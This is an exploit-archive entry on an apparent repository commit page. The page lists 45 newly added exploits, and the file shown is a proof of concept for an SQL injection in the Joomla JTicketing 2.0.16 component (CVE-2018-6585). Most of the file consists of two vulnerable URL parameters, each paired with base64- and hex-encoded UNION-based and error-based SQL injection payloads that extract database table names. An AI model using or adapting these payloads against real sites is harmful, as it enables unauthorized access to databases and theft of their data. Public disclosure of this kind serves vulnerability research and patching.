ed38447971
45 changes to exploits/shellcodes Microsoft Edge - 'UnmapViewOfFile' ACG Bypass JBoss Remoting 6.14.18 - Denial of Service Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < 4.25 - Denial of Service ABRT - raceabrt Privilege Escalation(Metasploit) Joomla! Component Fastball 1.1.0 < 1.2 - SQL Injection Joomla! Component Fastball 1.1.0 < 1.2 - 'league' SQL Injection Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution Dasan Networks GPON ONT WiFi Router H640X 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution EPIC MyChart - SQL Injection TV - Video Subscription - Authentication Bypass SQL Injection UserSpice 4.3 - Blind SQL Injection Twig < 2.4.4 - Server Side Template Injection Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross-Site Scripting Joomla! Component Advertisement Board 3.1.0 - 'catname' SQL Injection Joomla! Component Aist 2.0 - 'id' SQL Injection Joomla! Component AllVideos Reloaded 1.2.x - 'divid' SQL Injection Joomla! Component DT Register 3.2.7 - 'id' SQL Injection Joomla! Component Fastball 2.5 - 'season' SQL Injection Joomla! Component File Download Tracker 3.0 - SQL Injection Joomla! Component Form Maker 3.6.12 - SQL Injection Joomla! Component Gallery WD 1.3.6 - SQL Injection Joomla! Component Google Map Landkarten 4.2.3 - SQL Injection Joomla! Component InviteX 3.0.5 - 'invite_type' SQL Injection Joomla! Component JB Bus 2.3 - 'order_number' SQL Injection Joomla! Component jGive 2.0.9 - SQL Injection Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection Joomla! Component JquickContact 1.3.2.2.1 - SQL Injection Joomla! Component JS Autoz 1.0.9 - SQL Injection Joomla! Component JS Jobs 1.1.9 - SQL Injection Joomla! Component JTicketing 2.0.16 - SQL Injection Joomla! Component MediaLibrary Free 4.0.12 - SQL Injection Joomla! Component NeoRecruit 4.1 - SQL Injection Joomla! Component Project Log 1.5.3 - 'search' SQL Injection Joomla! Component Realpin 1.5.04 - SQL Injection Joomla! Component SimpleCalendar 3.1.9 - SQL Injection Joomla! Component Smart Shoutbox 3.0.0 - SQL Injection Joomla! Component Solidres 2.5.1 - SQL Injection Joomla! Component Staff Master 1.0 RC 1 - SQL Injection Joomla! Component Timetable Responsive Schedule For Joomla 1.5 - 'alias' SQL Injection Joomla! Pinterest Clone Social Pinboard 2.0 - SQL Injection Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection Joomla! Component Saxum Astro 4.0.14 - SQL Injection Joomla! Component Saxum Numerology 3.0.4 - SQL Injection Joomla! Component SquadManagement 1.0.3 - SQL Injection Joomla! Component Saxum Picker 3.2.10 - SQL Injection Front Accounting ERP 2.4.3 - Cross-Site Request Forgery PHIMS - Hospital Management Information System - 'Password' SQL Injection PSNews Website 1.0.0 - 'Keywords' SQL Injection Oracle Primavera P6 Enterprise Project Portfolio Management - HTTP Response Splitting
31 lines
No EOL
3.5 KiB
Text
31 lines
No EOL
3.5 KiB
Text
# # # #
|
|
# Exploit Title: Joomla! Component JTicketing 2.0.16 - SQL Injection
|
|
# Dork: N/A
|
|
# Date: 16.02.2018
|
|
# Vendor Homepage: https://techjoomla.com/
|
|
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/jticketing/
|
|
# Version: 2.0.16
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: CVE-2018-6585
|
|
# # # #
|
|
# Exploit Author: Ihsan Sencan
|
|
# # # #
|
|
#
|
|
# POC:
|
|
#
|
|
# 1)
|
|
# http://localhost/[PATH]/index.php?option=com_jticketing&view=events&layout=all&filter_creator=[SQL]
|
|
#
|
|
# JytVTklPTitBTEwrU0VMRUNUK051TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLENPTkNBVCgoU0VMRUNUK0dST1VQX0NPTkNBVCh0YWJsZV9uYW1lK1NFUEFSQVRPUisweDNjNjI3MjNlKStGUk9NK0lORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMrV0hFUkUrVEFCTEVfU0NIRU1BPURBVEFCQVNFKCkpKSxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLE51TEwsTnVMTCxOdUxMLS0rLQ==
|
|
#
|
|
# JTMxJTI3JTYxJTZlJTY0JTIwJTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTMxJTIwJTY2JTcyJTZmJTZkJTIwJTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTYzJTZmJTc1JTZlJTc0JTI4JTJhJTI5JTJjJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTYzJTYxJTczJTc0JTI4JTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTIwJTYxJTczJTIwJTYzJTY4JTYxJTcyJTI5JTJjJTMwJTc4JTM3JTY1JTI5JTI5JTIwJTY2JTcyJTZmJTZkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTc3JTY4JTY1JTcyJTY1JTIwJTc0JTYxJTYyJTZjJTY1JTVmJTczJTYzJTY4JTY1JTZkJTYxJTNkJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTIwJTZjJTY5JTZkJTY5JTc0JTIwJTMwJTJjJTMxJTI5JTJjJTY2JTZjJTZmJTZmJTcyJTI4JTcyJTYxJTZlJTY0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTY2JTcyJTZmJTZkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTY3JTcyJTZmJTc1JTcwJTIwJTYyJTc5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTIwJTI3JTI3JTNkJTI3
|
|
#
|
|
# 2)
|
|
# http://localhost/[PATH]/index.php?option=com_jticketing&view=events&layout=all&filter_events_cat=[SQL]
|
|
#
|
|
# JytVTklPTitBTEwrU0VMRUNUK25VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLENPTkNBVCgoU0VMRUNUK0dST1VQX0NPTkNBVCh0YWJsZV9uYW1lK1NFUEFSQVRPUisweDNjNjI3MjNlKStGUk9NK0lORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMrV0hFUkUrVEFCTEVfU0NIRU1BPURBVEFCQVNFKCkpKSxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLG5VbGwsblVsbCxuVWxsLS0rLQ==
|
|
#
|
|
# JTMxJTI3JTYxJTZlJTY0JTIwJTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTMxJTIwJTY2JTcyJTZmJTZkJTIwJTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTYzJTZmJTc1JTZlJTc0JTI4JTJhJTI5JTJjJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTI4JTczJTQ1JTZjJTQ1JTYzJTc0JTIwJTYzJTZmJTZlJTYzJTYxJTc0JTI4JTYzJTYxJTczJTc0JTI4JTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTIwJTYxJTczJTIwJTYzJTY4JTYxJTcyJTI5JTJjJTMwJTc4JTM3JTY1JTI5JTI5JTIwJTY2JTcyJTZmJTZkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTc3JTY4JTY1JTcyJTY1JTIwJTc0JTYxJTYyJTZjJTY1JTVmJTczJTYzJTY4JTY1JTZkJTYxJTNkJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTIwJTZjJTY5JTZkJTY5JTc0JTIwJTMwJTJjJTMxJTI5JTJjJTY2JTZjJTZmJTZmJTcyJTI4JTcyJTYxJTZlJTY0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTY2JTcyJTZmJTZkJTIwJTY5JTZlJTY2JTZmJTcyJTZkJTYxJTc0JTY5JTZmJTZlJTVmJTczJTYzJTY4JTY1JTZkJTYxJTJlJTc0JTYxJTYyJTZjJTY1JTczJTIwJTY3JTcyJTZmJTc1JTcwJTIwJTYyJTc5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTIwJTI3JTI3JTNkJTI3
|
|
#
|
|
# # # # |